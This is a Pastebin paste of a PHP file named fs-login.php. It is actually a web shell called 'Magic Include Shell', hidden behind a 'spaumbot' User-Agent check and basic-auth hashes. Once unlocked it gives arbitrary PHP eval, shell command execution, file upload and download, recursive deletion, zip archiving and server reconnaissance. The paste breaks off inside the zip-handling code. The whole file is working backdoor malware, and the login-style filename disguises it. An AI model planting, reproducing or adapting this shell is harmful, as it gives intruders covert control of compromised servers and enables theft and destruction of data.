PalmaSolutions

fs-login.php

Apr 27th, 2018
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 38.13 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. $ver = '6.6.6';
  4. $my_keyw = $_SERVER['HTTP_USER_AGENT'];
  5. $items_per_page = 50;
  6. $admin_name = '27a0e2015f9087981c0b95a29fc4ba57';
  7. $admin_pass = '9413c48772f73d5c305b65eb58a06f9c';
  8.  
  9. if($my_keyw=='spaumbot')
  10. {
  11. if ((!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!=$admin_name || md5($_SERVER['PHP_AUTH_PW'])!=$admin_pass) && !eregi('cgi',PHP_SAPI))
  12.    {
  13.    header("WWW-Authenticate: Basic realm=\"SPAUM\"");
  14.    header("HTTP/1.0 401 Unauthorized");
  15.    exit('Access Denied');
  16.    }
  17. class zipfile
  18. {
  19.     var $datasec      = array();
  20.     var $ctrl_dir     = array();
  21.     var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  22.     var $old_offset   = 0;
  23.     function unix2DosTime($unixtime = 0) {
  24.         $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  25.         if ($timearray['year'] < 1980) {
  26.             $timearray['year']    = 1980;
  27.             $timearray['mon']     = 1;
  28.             $timearray['mday']    = 1;
  29.             $timearray['hours']   = 0;
  30.             $timearray['minutes'] = 0;
  31.             $timearray['seconds'] = 0;
  32.         }
  33.  
  34.         return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  35.                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  36.     }
  37.     function addDir($name)
  38.     {
  39.         $name = str_replace("\\", "/", $name);
  40.         $fr = "\x50\x4b\x03\x04";
  41.         $fr .= "\x0a\x00";
  42.         $fr .= "\x00\x00";  
  43.         $fr .= "\x00\x00";  
  44.         $fr .= "\x00\x00\x00\x00";
  45.         $fr .= pack("V",0);
  46.         $fr .= pack("V",0);
  47.         $fr .= pack("V",0);
  48.         $fr .= pack("v", strlen($name) );
  49.         $fr .= pack("v", 0 );
  50.         $fr .= $name;
  51.         $fr .= pack("V",$crc);
  52.         $fr .= pack("V",$c_len);
  53.         $fr .= pack("V",$unc_len);  
  54.         $this -> datasec[] = $fr;
  55.         $new_offset = strlen(implode("", $this->datasec));
  56.         $cdrec = "\x50\x4b\x01\x02";
  57.         $cdrec .="\x00\x00";
  58.         $cdrec .="\x0a\x00";
  59.         $cdrec .="\x00\x00";  
  60.         $cdrec .="\x00\x00";
  61.         $cdrec .="\x00\x00\x00\x00";
  62.         $cdrec .= pack("V",0);
  63.         $cdrec .= pack("V",0);
  64.         $cdrec .= pack("V",0);
  65.         $cdrec .= pack("v", strlen($name) );
  66.         $cdrec .= pack("v", 0 );
  67.         $cdrec .= pack("v", 0 );
  68.         $cdrec .= pack("v", 0 );
  69.         $cdrec .= pack("v", 0 );
  70.         $ext = "\x00\x00\x10\x00";
  71.         $ext = "\xff\xff\xff\xff";
  72.         $cdrec .= pack("V", 16 );
  73.         $cdrec .= pack("V", $this -> old_offset );
  74.         $this -> old_offset = $new_offset;
  75.         $cdrec .= $name;
  76.         $this -> ctrl_dir[] = $cdrec;
  77.     }
  78.     function addFile($data, $name, $time = 0)
  79.     {
  80.         $name     = str_replace('\\', '/', $name);
  81.         $name     = str_replace(array('../','./'), '', $name);
  82.         $dtime    = dechex($this->unix2DosTime($time));
  83.         $hexdtime = '\x' . $dtime[6] . $dtime[7]
  84.                   . '\x' . $dtime[4] . $dtime[5]
  85.                   . '\x' . $dtime[2] . $dtime[3]
  86.                   . '\x' . $dtime[0] . $dtime[1];
  87.         eval('$hexdtime = "' . $hexdtime . '";');
  88.         $fr   = "\x50\x4b\x03\x04";
  89.         $fr   .= "\x14\x00";    
  90.         $fr   .= "\x00\x00";
  91.         $fr   .= "\x08\x00";      
  92.         $fr   .= $hexdtime;      
  93.         $unc_len = strlen($data);
  94.         $crc     = crc32($data);
  95.         $zdata   = gzcompress($data);
  96.         $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  97.         $c_len   = strlen($zdata);
  98.         $fr      .= pack('V', $crc);          
  99.         $fr      .= pack('V', $c_len);      
  100.         $fr      .= pack('V', $unc_len);    
  101.         $fr      .= pack('v', strlen($name));  
  102.         $fr      .= pack('v', 0);              
  103.         $fr      .= $name;
  104.         $fr .= $zdata;  
  105.         $fr .= pack('V', $crc);  
  106.         $fr .= pack('V', $c_len);      
  107.         $fr .= pack('V', $unc_len);      
  108.         $this -> datasec[] = $fr;
  109.  
  110.         $cdrec = "\x50\x4b\x01\x02";
  111.         $cdrec .= "\x00\x00";      
  112.         $cdrec .= "\x14\x00";          
  113.         $cdrec .= "\x00\x00";          
  114.         $cdrec .= "\x08\x00";        
  115.         $cdrec .= $hexdtime;              
  116.         $cdrec .= pack('V', $crc);        
  117.         $cdrec .= pack('V', $c_len);    
  118.         $cdrec .= pack('V', $unc_len);      
  119.         $cdrec .= pack('v', strlen($name) );
  120.         $cdrec .= pack('v', 0 );    
  121.         $cdrec .= pack('v', 0 );    
  122.         $cdrec .= pack('v', 0 );      
  123.         $cdrec .= pack('v', 0 );        
  124.         $cdrec .= pack('V', 32 );
  125.         $cdrec .= pack('V', $this -> old_offset );
  126.         $this -> old_offset += strlen($fr);
  127.         $cdrec .= $name;
  128.         $this -> ctrl_dir[] = $cdrec;
  129.     }
  130.  
  131.     function file()
  132.     {
  133.         $data    = implode('', $this -> datasec);
  134.         $ctrldir = implode('', $this -> ctrl_dir);
  135.         return
  136.             $data .
  137.             $ctrldir .
  138.             $this -> eof_ctrl_dir .
  139.             pack('v', sizeof($this -> ctrl_dir)) .  
  140.             pack('v', sizeof($this -> ctrl_dir)) .  
  141.             pack('V', strlen($ctrldir)) .      
  142.             pack('V', strlen($data)) .    
  143.             "\x00\x00";                      
  144.     }
  145.  
  146.     function addFiles($files)
  147.     {
  148.         foreach($files as $file)
  149.         {
  150.         if (is_file($file))
  151.         {
  152.             $data = implode("",file($file));
  153.                     $this->addFile($data,$file);
  154.                 }
  155.         }
  156.     }
  157.  
  158.     function output($file)
  159.     {
  160.         $fp=fopen($file,"w");
  161.         fwrite($fp,$this->file());
  162.         fclose($fp);
  163.     }
  164. }
  165.     class SimpleUnzip {
  166.         var $Comment = '';
  167.         var $Entries = array();
  168.         var $Name = '';
  169.         var $Size = 0;
  170.         var $Time = 0;
  171.         function SimpleUnzip($in_FileName = '')
  172.         {
  173.             if ($in_FileName !== '') {
  174.                 SimpleUnzip::ReadFile($in_FileName);
  175.             }
  176.         }
  177.         function Count()
  178.         {
  179.             return count($this->Entries);
  180.         }
  181.         function GetData($in_Index)
  182.         {
  183.             return $this->Entries[$in_Index]->Data;
  184.         }
  185.         function GetEntry($in_Index)
  186.         {
  187.             return $this->Entries[$in_Index];
  188.         }
  189.         function GetError($in_Index)
  190.         {
  191.             return $this->Entries[$in_Index]->Error;
  192.         }
  193.         function GetErrorMsg($in_Index)
  194.         {
  195.             return $this->Entries[$in_Index]->ErrorMsg;
  196.         }
  197.         function GetName($in_Index)
  198.         {
  199.             return $this->Entries[$in_Index]->Name;
  200.         }
  201.         function GetPath($in_Index)
  202.         {
  203.             return $this->Entries[$in_Index]->Path;
  204.         }
  205.         function GetTime($in_Index)
  206.         {
  207.             return $this->Entries[$in_Index]->Time;
  208.         }
  209.         function ReadFile($in_FileName)
  210.         {
  211.             $this->Entries = array();        
  212.             $this->Name = $in_FileName;
  213.             $this->Time = filemtime($in_FileName);
  214.             $this->Size = filesize($in_FileName);          
  215.             $oF = fopen($in_FileName, 'rb');
  216.             $vZ = fread($oF, $this->Size);
  217.             fclose($oF);
  218.             $aE = explode("\x50\x4b\x05\x06", $vZ);      
  219.             $aP = unpack('x16/v1CL', $aE[1]);
  220.             $this->Comment = substr($aE[1], 18, $aP['CL']);          
  221.             $this->Comment = strtr($this->Comment, array("\r\n" => "\n","\r"   => "\n"));
  222.             $aE = explode("\x50\x4b\x01\x02", $vZ);    
  223.             $aE = explode("\x50\x4b\x03\x04", $aE[0]);          
  224.             array_shift($aE);  
  225.             foreach ($aE as $vZ) {
  226.                 $aI = array();
  227.                 $aI['E']  = 0;
  228.                 $aI['EM'] = '';
  229.                 $aP = unpack('v1VN/v1GPF/v1CM/v1FT/v1FD/V1CRC/V1CS/V1UCS/v1FNL', $vZ);
  230.                 $bE = ($aP['GPF'] && 0x0001) ? TRUE : FALSE;
  231.                 $nF = $aP['FNL'];
  232.                 if ($aP['GPF'] & 0x0008) {
  233.                     $aP1 = unpack('V1CRC/V1CS/V1UCS', substr($vZ, -12));
  234.                     $aP['CRC'] = $aP1['CRC'];
  235.                     $aP['CS']  = $aP1['CS'];
  236.                     $aP['UCS'] = $aP1['UCS'];
  237.                     $vZ = substr($vZ, 0, -12);
  238.                 }
  239.                 $aI['N'] = substr($vZ, 26, $nF);
  240.                 if (substr($aI['N'], -1) == '/') {
  241.                     continue;
  242.                 }
  243.                 $aI['P'] = dirname($aI['N']);
  244.                 $aI['P'] = $aI['P'] == '.' ? '' : $aI['P'];
  245.                 $aI['N'] = basename($aI['N']);
  246.                 $vZ = substr($vZ, 26 + $nF);
  247.                 if (strlen($vZ) != $aP['CS']) {
  248.                   $aI['E']  = 1;
  249.                   $aI['EM'] = 'Compressed size is not equal with the value in header information.';
  250.                 } else {
  251.                     if ($bE) {
  252.                         $aI['E']  = 5;
  253.                         $aI['EM'] = 'File is encrypted, which is not supported from this class.';
  254.                     } else {
  255.                         switch($aP['CM']) {
  256.                             case 0:
  257.                                 break;
  258.                             case 8:
  259.                                 $vZ = gzinflate($vZ);
  260.                                 break;
  261.                             case 12:
  262.                                 if (! extension_loaded('bz2')) {
  263.                                     if (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN') {
  264.                                       @dl('php_bz2.dll');
  265.                                     } else {
  266.                                       @dl('bz2.so');
  267.                                     }
  268.                                 }
  269.                                 if (extension_loaded('bz2')) {
  270.                                     $vZ = bzdecompress($vZ);
  271.                                 } else {
  272.                                     $aI['E']  = 7;
  273.                                     $aI['EM'] = "PHP BZIP2 extension not available.";
  274.                                 }
  275.                                 break;
  276.                             default:
  277.                               $aI['E']  = 6;
  278.                               $aI['EM'] = "De-/Compression method {$aP['CM']} is not supported.";
  279.                         }
  280.                         if (! $aI['E']) {
  281.                             if ($vZ === FALSE) {
  282.                                 $aI['E']  = 2;
  283.                                 $aI['EM'] = 'Decompression of data failed.';
  284.                             } else {
  285.                                 if (strlen($vZ) != $aP['UCS']) {
  286.                                     $aI['E']  = 3;
  287.                                     $aI['EM'] = 'Uncompressed size is not equal with the value in header information.';
  288.                                 } else {
  289.                                     if (crc32($vZ) != $aP['CRC']) {
  290.                                         $aI['E']  = 4;
  291.                                         $aI['EM'] = 'CRC32 checksum is not equal with the value in header information.';
  292.                                     }
  293.                                 }
  294.                             }
  295.                         }
  296.                     }
  297.                 }
  298.                 $aI['D'] = $vZ;
  299.                 $aI['T'] = mktime(($aP['FT']  & 0xf800) >> 11,
  300.                                   ($aP['FT']  & 0x07e0) >>  5,
  301.                                   ($aP['FT']  & 0x001f) <<  1,
  302.                                   ($aP['FD']  & 0x01e0) >>  5,
  303.                                   ($aP['FD']  & 0x001f),
  304.                                   (($aP['FD'] & 0xfe00) >>  9) + 1980);
  305.                 $this->Entries[] = &new SimpleUnzipEntry($aI);
  306.             }
  307.             return $this->Entries;
  308.         }
  309.     }
  310.     class SimpleUnzipEntry {
  311.         var $Data = '';
  312.         var $Error = 0;
  313.         var $ErrorMsg = '';
  314.         var $Name = '';
  315.         var $Path = '';
  316.         var $Time = 0;
  317.         function SimpleUnzipEntry($in_Entry)
  318.         {
  319.             $this->Data     = $in_Entry['D'];
  320.             $this->Error    = $in_Entry['E'];
  321.             $this->ErrorMsg = $in_Entry['EM'];
  322.             $this->Name     = $in_Entry['N'];
  323.             $this->Path     = $in_Entry['P'];
  324.             $this->Time     = $in_Entry['T'];
  325.         }
  326.     }
  327.  function unzipFile($filename, $destination_folder) {                                                  
  328.         if (substr($destination_folder, -1) != '/') {                                                
  329.             $destination_folder = $destination_folder .'/';                                                  
  330.         }                                                                                                                
  331.      $vzip = new SimpleUnzip($filename);
  332.           foreach ($vzip->Entries as $extr) {        
  333.               $path = $extr->Path;
  334.               $path_folder = explode ('/', $path);
  335.               $new_path = '';              
  336.                   foreach ($path_folder as $folder) {                
  337.                       $new_path .= $folder .'/';                
  338.                       $to_create = $destination_folder . $new_path;                    
  339.                           if (substr($to_create, -1) == '/') {                        
  340.                             $to_create = substr($to_create, 0, strlen($to_create)-1);                        
  341.                           }              
  342.                       @mkdir($to_create, 0777);                
  343.                   }        
  344.               $new_path = '';
  345.               $filev = fopen ($destination_folder. $extr->Path .'/'. $extr->Name, 'w');
  346.               fwrite ($filev, $extr->Data);
  347.               fclose ($filev);                                                        
  348.           }                                                                
  349.   }
  350.  function dd($file)
  351.     {
  352.      if (is_dir($file) || is_file($file))
  353.         {
  354.         chmod($file,0777);
  355.          if (is_dir($file))
  356.             {
  357.             $handle = opendir($file);
  358.             while($filename = readdir($handle))
  359.             if ($filename != "." && $filename != "..")
  360.                 dd($file."/".$filename);
  361.             closedir($handle);
  362.             if(@rmdir($file))
  363.                 print "$file deleted!<br/>";
  364.             else
  365.                 print "$file delete error!<br/>";
  366.             }
  367.          else
  368.             {
  369.             if(@unlink($file))
  370.                 print "$file deleted!<br/>";
  371.             else
  372.                 print "$file delete error!<br/>";
  373.             }
  374.          }
  375.  
  376.     }
  377.  function add2zipfile($file)
  378.     {
  379.      if (file_exists($file))
  380.         {
  381.         chmod($file,0777);
  382.          if (is_dir($file))
  383.             {
  384.             $handle = opendir($file);
  385.             while($filename = readdir($handle))
  386.             if ($filename != "." && $filename != "..")
  387.                 {
  388.                 $archive.=add2zipfile(rtrim($file,'/').'/'.$filename).',:,';
  389.                 //$archive.=rtrim($file,'/').'/'.$filename.',:,';
  390.                 }
  391.             closedir($handle);
  392.             return $archive;
  393.             }
  394.          else
  395.             {
  396.             $archive.=$file;
  397.             return $archive;
  398.             }
  399.          }
  400.     }  
  401.     function U_sapi()
  402.     {
  403.         switch(PHP_SAPI)
  404.         {
  405.             case 'apache2handler': return 'Apache 2.0 Handler';
  406.             case 'apache': return 'Apache';
  407.             case 'cgi': return 'CGI';
  408.             case 'cgi-fcgi': return 'CGI/FastCGI';
  409.  
  410.             default: return PHP_SAPI;
  411.         }
  412.     }
  413.     function U_getos()
  414.     {
  415.         if (function_exists('php_uname')) return php_uname();
  416.         if (PHP_OS == 'WINNT')
  417.         return 'Windows NT';
  418.         return PHP_OS;
  419.     }
  420.  
  421. function func_download_file($filepath, $mimetype = 'application/octet-stream')
  422. {  
  423.     $fsize = filesize($filepath);
  424.     $ftime = date('D, d M Y H:i:s T', filemtime($filepath));
  425.     $fd = @fopen($filepath, 'rb');
  426.     if (isset($_SERVER['HTTP_RANGE'])) {
  427.         $range = $_SERVER['HTTP_RANGE'];
  428.         $range = str_replace('bytes=', '', $range);  
  429.         list($range, $end) = explode('-', $range);  
  430.  
  431.         if (!empty($range)) {  
  432.             fseek($fd, $range);  
  433.         }  
  434.     } else {
  435.         $range = 0;  
  436.     }  
  437.  
  438.     if ($range) {  
  439.         header($_SERVER['SERVER_PROTOCOL'].' 206 Partial Content');
  440.     } else {  
  441.         header($_SERVER['SERVER_PROTOCOL'].' 200 OK');
  442.     }  
  443.  
  444.     header('Content-Disposition: attachment; filename='.basename($filepath));  
  445.     header('Last-Modified: '.$ftime);  
  446.     header('Accept-Ranges: bytes');  
  447.     header('Content-Length: '.($fsize - $range));  
  448.     header("Content-Range: bytes $range-".($fsize - 1).'/'.$fsize);  
  449.     header('Content-Type: '.$mimetype);  
  450.     header('Content-transfer-encoding: binary');  
  451.  
  452.     fpassthru($fd);
  453.     fclose($fd);  
  454.  
  455.     exit;  
  456. }  
  457.  
  458. class mimetype {
  459.    function getType($filename) {
  460.       $filename = basename($filename);
  461.  
  462.       $filename = explode('.', $filename);
  463.       $filename = $filename[count($filename)-1];  
  464.       return $this->privFindType($filename);
  465.    }
  466.  
  467.    function privFindType($ext) {
  468.       $mimetypes = $this->privBuildMimeArray();  
  469.       if (isset($mimetypes[$ext])) {
  470.          return $mimetypes[$ext];      
  471.       } else {
  472.          return 'application/octet-stream';
  473.       }  
  474.    }
  475.    function privBuildMimeArray() {
  476.       return array(
  477.          "doc" => "application/msword",
  478.          "pdf" => "application/pdf",
  479.          "swf" => "application/x-shockwave-flash",
  480.          "xhtml" => "application/xhtml+xml",
  481.          "zip" => "application/zip",
  482.          "mid" => "audio/midi",
  483.          "midi" => "audio/midi",
  484.          "mp2" => "audio/mpeg",
  485.          "mp3" => "audio/mpeg",
  486.          "aif" => "audio/x-aiff",
  487.          "aiff" => "audio/x-aiff",
  488.          "aifc" => "audio/x-aiff",
  489.          "m3u" => "audio/x-mpegurl",
  490.          "wav" => "audio/x-wav",
  491.          "bmp" => "image/bmp",
  492.          "gif" => "image/gif",
  493.          "ief" => "image/ief",
  494.          "jpeg" => "image/jpeg",
  495.          "jpg" => "image/jpeg",
  496.          "jpe" => "image/jpeg",
  497.          "png" => "image/png",
  498.          "tiff" => "image/tiff",
  499.          "tif" => "image/tif",
  500.          "djvu" => "image/vnd.djvu",
  501.          "djv" => "image/vnd.djvu",
  502.          "wbmp" => "image/vnd.wap.wbmp",
  503.          "css" => "text/css",
  504.          "html" => "text/html",
  505.          "htm" => "text/html",
  506.          "txt" => "text/plain",
  507.          "php" => "text/plain",
  508.          "phtml" => "text/plain",
  509.          "asp" => "text/plain",
  510.          "cgi" => "text/plain",
  511.          "rtf" => "text/rtf",
  512.          "wml" => "text/vnd.wap.wml",
  513.          "wmls" => "text/vnd.wap.wmlscript",
  514.          "xml" => "text/xml",
  515.          "xsl" => "text/xml",
  516.          "mpeg" => "video/mpeg",
  517.          "mpg" => "video/mpeg",
  518.          "mov" => "video/quicktime",
  519.          "avi" => "video/x-msvideo",
  520.          "movie" => "video/x-sgi-movie",
  521.       );
  522.    }
  523. }
  524.  
  525. function show_cwd($dir)
  526.     {
  527.     $dir = explode('/',$dir);
  528.     if(empty($dir[0]))
  529.         {
  530.         $mydir = '/';
  531.         print '/';
  532.         }
  533.     else
  534.         $mydir = '';
  535.     for($i=0;$i<count($dir);$i++)
  536.         {
  537.         if(!empty($dir[$i]))
  538.             {
  539.             $mydir .= $dir[$i].'/';
  540.             print "<a href='#' onclick=\"document.todo.dira.value='$mydir';document.todo.submit();\">{$dir[$i]}</a>/";
  541.             }
  542.         }
  543.     }
  544.  
  545. function my_stat($myfile)
  546. {
  547. if(function_exists(posix_getpwuid))
  548.     {
  549.     $my_owner = posix_getpwuid(fileowner($myfile));
  550.     $my_owner = $my_owner[name];
  551.     }
  552. else
  553.     $my_owner = fileowner($myfile);
  554. if(function_exists(posix_getgrgid))
  555.     {
  556.     $my_group = posix_getgrgid(filegroup($myfile));
  557.     $my_group = $my_group[name];
  558.     }
  559. else
  560.     $my_group = filegroup($myfile);
  561. return '<font color="#00ff00">'.$my_owner.':'.$my_group.'</font> '.date ("M d Y H:i:s", filemtime($myfile));
  562. }
  563.  
  564. function my_perms($myfile)
  565. {
  566. $perms = fileperms($myfile);
  567.  
  568. if (($perms & 0xC000) == 0xC000) {
  569.     $info = 's';
  570. } elseif (($perms & 0xA000) == 0xA000) {
  571.     $info = 'l';
  572. } elseif (($perms & 0x8000) == 0x8000) {
  573.     $info = '-';
  574. } elseif (($perms & 0x6000) == 0x6000) {
  575.     $info = 'b';
  576. } elseif (($perms & 0x4000) == 0x4000) {
  577.     $info = 'd';
  578. } elseif (($perms & 0x2000) == 0x2000) {
  579.     $info = 'c';
  580. } elseif (($perms & 0x1000) == 0x1000) {
  581.     $info = 'p';
  582. } else {
  583.     $info = 'u';
  584. }
  585. $info .= (($perms & 0x0100) ? 'r' : '-');
  586. $info .= (($perms & 0x0080) ? 'w' : '-');
  587. $info .= (($perms & 0x0040) ?
  588.             (($perms & 0x0800) ? 's' : 'x' ) :
  589.             (($perms & 0x0800) ? 'S' : '-'));
  590. $info .= (($perms & 0x0020) ? 'r' : '-');
  591. $info .= (($perms & 0x0010) ? 'w' : '-');
  592. $info .= (($perms & 0x0008) ?
  593.             (($perms & 0x0400) ? 's' : 'x' ) :
  594.             (($perms & 0x0400) ? 'S' : '-'));
  595. $info .= (($perms & 0x0004) ? 'r' : '-');
  596. $info .= (($perms & 0x0002) ? 'w' : '-');
  597. $info .= (($perms & 0x0001) ?
  598.             (($perms & 0x0200) ? 't' : 'x' ) :
  599.             (($perms & 0x0200) ? 'T' : '-'));
  600. return '<i>'.$info.'</i>';
  601. }
  602.  
  603. if(!empty($_POST[dofile]))
  604.     {
  605.     $dofile = $_POST['dira'].$_POST[dofile];
  606.     $_POST[dofile] = NULL;
  607.     unset($_POST[dofile]);
  608.         $mimetype = new mimetype();
  609.         $mymim=$mimetype->getType($dofile);
  610.     func_download_file($dofile,$mymim);
  611.     }
  612.  
  613. $site=$PHP_SELF;
  614.  
  615. header("Content-type: text/html");
  616. $file2zip=$_POST['file2zip'];
  617. $deldira=$_POST['deldira'];
  618. $arhiv=$_POST['arhiv'];
  619.  
  620. $dira=$_POST['dira'];
  621.  
  622. if(!empty($dira) && isset($dira)) chdir($dira);
  623. $dira=str_replace('\\','/',getcwd());
  624.  
  625. if(!ereg("/$",$dira)) $dira=$dira.'/';
  626. $comanda=$_POST['comanda'];
  627. $shcom=$_POST['shcom'];
  628.  
  629. if(isset($_POST['filee']) && !empty($_POST['filee']))
  630. $filee=$dira.''.$_POST['filee'];
  631.  
  632. $uploadfile=$_POST['uploadfile'];
  633. $uploaddir=$_POST['uploaddir'];
  634. $del=$_POST[del];
  635.  
  636. if(isset($_POST['edit']) && !empty($_POST['edit']))
  637. $edit=$_POST['edit'];
  638.  
  639. $save_edit=$_POST[save_edit];
  640.  
  641. $kverya = rtrim(str_replace(array($my_keyw,'&&'),'',$_SERVER["QUERY_STRING"]),'&');
  642. ?>
  643. <html>
  644. <head>
  645. <title>Magic Include Shell <?php echo $ver; ?></title>
  646. <STYLE fprolloverstyle>
  647. A{COLOR: #00ff00;}
  648. INPUT {BORDER-LEFT-COLOR: #000000; BACKGROUND: #000000; BORDER-BOTTOM-COLOR: #000000; FONT: 12px Verdana, Arial, Helvetica, sans-serif; COLOR: #00ff00; BORDER-TOP-COLOR: #000000; BORDER-RIGHT-COLOR: #000000}
  649. TEXTAREA {BORDER-LEFT-COLOR: #000000; BACKGROUND: #000000; BORDER-BOTTOM-COLOR: #000000; FONT: 12px Verdana, Arial, Helvetica, sans-serif; COLOR: #00ff00; BORDER-TOP-COLOR: #000000; BORDER-RIGHT-COLOR: #000000}
  650. </STYLE>
  651. </head>
  652. <SCRIPT language=Javascript><!--
  653. function checkAll(form)
  654. {
  655.     for (i = 0, n = form.elements.length; i < n; i++) {
  656.         if(form.elements[i].id == "delete_id") {
  657.             if(form.elements[i].checked == true)
  658.                 form.elements[i].checked = false;
  659.             else
  660.                 form.elements[i].checked = true;
  661.         }
  662.     }
  663. }
  664. function checkAll2(form)
  665. {
  666.     for (i = 0, n = form.elements.length; i < n; i++) {
  667.         if(form.elements[i].id == "zip_id") {
  668.             if(form.elements[i].checked == true)
  669.                 form.elements[i].checked = false;
  670.             else
  671.                 form.elements[i].checked = true;
  672.         }
  673.     }
  674. }
  675. function checkAll3(form)
  676. {
  677.     for (i = 0, n = form.elements.length; i < n; i++) {
  678.         if(form.elements[i].id == "unzip_id") {
  679.             if(form.elements[i].checked == true)
  680.                 form.elements[i].checked = false;
  681.             else
  682.                 form.elements[i].checked = true;
  683.         }
  684.     }
  685. }
  686.  
  687. function MultiSelector( list_target, max ){
  688.     this.list_target = list_target;
  689.     this.count = 0;
  690.     this.id = 0;
  691.     if( max ){this.max = max;} else {this.max = -1;};
  692.     this.addElement = function( element ){
  693.         if( element.tagName == 'INPUT' && element.type == 'file' ){
  694.             element.name = 'file_' + this.id++;
  695.             element.multi_selector = this;
  696.             element.onchange = function(){
  697.                 var new_element = document.createElement( 'input' );
  698.                 new_element.type = 'file';
  699.                 this.parentNode.insertBefore( new_element, this );
  700.                 this.multi_selector.addElement( new_element );
  701.                 this.multi_selector.addListRow( this );
  702.                 this.style.position = 'absolute';
  703.                 this.style.left = '-1000px';
  704.             };
  705.             if( this.max != -1 && this.count >= this.max ){
  706.                 element.disabled = true;
  707.             };
  708.             this.count++;
  709.             this.current_element = element;
  710.         } else {
  711.             alert( 'Error: not a file input element' );
  712.         };};
  713.     this.addListRow = function( element ){
  714.         var new_row = document.createElement( 'div' );
  715.         var new_row_button = document.createElement( 'input' );
  716.         new_row_button.type = 'button';
  717.         new_row_button.value = 'Delete';
  718.  
  719.  
  720.         new_row.element = element;
  721.  
  722.         new_row_button.onclick= function(){
  723.             this.parentNode.element.parentNode.removeChild( this.parentNode.element );
  724.             this.parentNode.parentNode.removeChild( this.parentNode );
  725.             this.parentNode.element.multi_selector.count--;
  726.             this.parentNode.element.multi_selector.current_element.disabled = false;
  727.             return false;
  728.         };
  729.         new_row.innerHTML = element.value;
  730.         new_row.appendChild( new_row_button );
  731.         this.list_target.appendChild( new_row );};};
  732. //--></SCRIPT>
  733. <body text=#ffffff bgColor=#000000>
  734. <table width="100%" border="1" cellspacing="0" cellpadding="4"><tr>
  735. <td valign="top">
  736.  
  737. <form name='todo' method='POST' action="<?php print "$site?$kverya"; ?>">
  738. <input name='dira' type='hidden' value=''>
  739. <input name='filee' type='hidden' value=''>
  740. <input name='edit' type='hidden' value=''>
  741. <input name='dofile' type='hidden' value=''>
  742. <input name='page' type='hidden' value=''>
  743. <input name='<?php print $my_keyw; ?>' type='hidden' value=''>
  744. </form>
  745.  
  746. <input name='dira' type='hidden' value='<?php print $dira; ?>'>
  747. <input name='<?php print $my_keyw; ?>' type='hidden' value=''>
  748. <?php print 'Server: ';
  749. print U_sapi();
  750. if(function_exists('apache_get_version'))
  751.     print ' ['.apache_get_version().']';
  752. print '<br/>';
  753. print '<hr/>System: ';
  754. print U_getos();
  755. print '<br/><hr/>';
  756. print 'Php version: '.PHP_VERSION.' | Safe mode: '.(ini_get('safe_mode') ? 'On' : 'Off').' | User: '.get_current_user().' ('.getmyuid().':'.getmygid().')<br/><hr/>';
  757. print 'Hostname:Port: '.$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'];
  758.  
  759. ?>
  760. <hr/>
  761.  
  762. <script>    function EditDir(){
  763.         var editdir=document.getElementById('editdir');
  764.         var navdir=document.getElementById('navdir');
  765.  
  766.         if (editdir.style.display=="none") {
  767.             editdir.style.display="inline";
  768.             navdir.style.display="none";
  769.         }
  770.         else {
  771.             editdir.style.display="none";
  772.             navdir.style.display="inline";
  773.         }
  774.  
  775.     }</script>
  776.  
  777. <div id="editdir" style="display:none">
  778. <form method="POST" action="<?php print "$site?$kverya"; ?>">
  779. <a style="text-decoration: none" href="javascript:EditDir()">Dir: </a><input name='dira' size=64 value='<?php print $dira; ?>'> <input type="submit" value="Go!"/>
  780.  
  781. <input name='<?php print $my_keyw; ?>' type='hidden' value=''>
  782. </form>
  783. </div>
  784. <div id="navdir">
  785. <a style="text-decoration: none" href="javascript:EditDir()">Dir: </a>
  786. <?php
  787. show_cwd($dira);
  788. ?>
  789. </div>
  790. </td>
  791. <td>
  792. <form method="POST" action="<?php print "$site?$kverya"; ?>">
  793. <input name='dira' type='hidden' value='<?php print $dira; ?>'>
  794. <input name='<?php print $my_keyw; ?>' type='hidden' value=''>
  795. <input name='page' type='hidden' value='<?php print $page; ?>'>
  796. Php eval:<br/>
  797. <textarea name="comanda" rows=10 cols=80></textarea><br/>
  798. <input type="submit" value="eval"/>
  799. </form>
  800. </td><td>
  801. <form method="POST" action="<?php print "$site?$kverya"; ?>">
  802. <input name='dira' type='hidden' value='<?php print $dira; ?>'>
  803. <input name='page' type='hidden' value='<?php print $page; ?>'>
  804. <input name='<?php print $my_keyw; ?>' type='hidden' value=''>
  805. Shell command:<br/><input name="shcom"><br/>
  806. <input type="submit" value="shell"/>
  807. </form>
  808. <form enctype="multipart/form-data" action="<?php print "$site?$kverya"; ?>" method="post">
  809. <input name='page' type='hidden' value='<?php print $page; ?>'>
  810. <input name='dira' type='hidden' value='<?php print $dira; ?>'>
  811. <input name='<?php print $my_keyw; ?>' type='hidden' value=''>
  812.  <input type="hidden" name="MAX_FILE_SIZE" value="30000000" />
  813.  Files to upload:<br/><input name="uploadfile" id="my_file_element"  type="file" />
  814. <br/>Dir to upload:<br/><input name="uploaddir" value="<?php print $dira; ?>"/><br/>
  815.  <input type="submit" value="Send File" />
  816. <br/>
  817. <div id="files_list"></div>
  818. <script>
  819.     var multi_selector = new MultiSelector( document.getElementById( 'files_list' ), 999);
  820.     multi_selector.addElement( document.getElementById( 'my_file_element' ) );
  821. </script>
  822. </form>
  823. </td>
  824. </tr>
  825. </table>
  826. <?php
  827. if(!empty($file2zip) && is_array($file2zip) && isset($_POST[zip_path]) && isset($_POST[zip_submit]))
  828. {
  829. $ziper = new zipfile();
  830. for($k=0;$k<count($file2zip);$k++)
  831. {
  832. $ziparc=str_replace(',:,,:,',',:,',add2zipfile(rtrim($dira,'/').'/'.$file2zip[$k]));
  833. $ziparc=explode(',:,',$ziparc);
  834. for($i=0;$i<count($ziparc);$i++)
  835. {
  836. if(!empty($ziparc[$i]))
  837.     {
  838.     if(is_dir($ziparc[$i]))
  839.         {
  840.         $ziper->addDir($ziparc[$i]);
  841.         print "{$ziparc[$i]} added!<br/>";
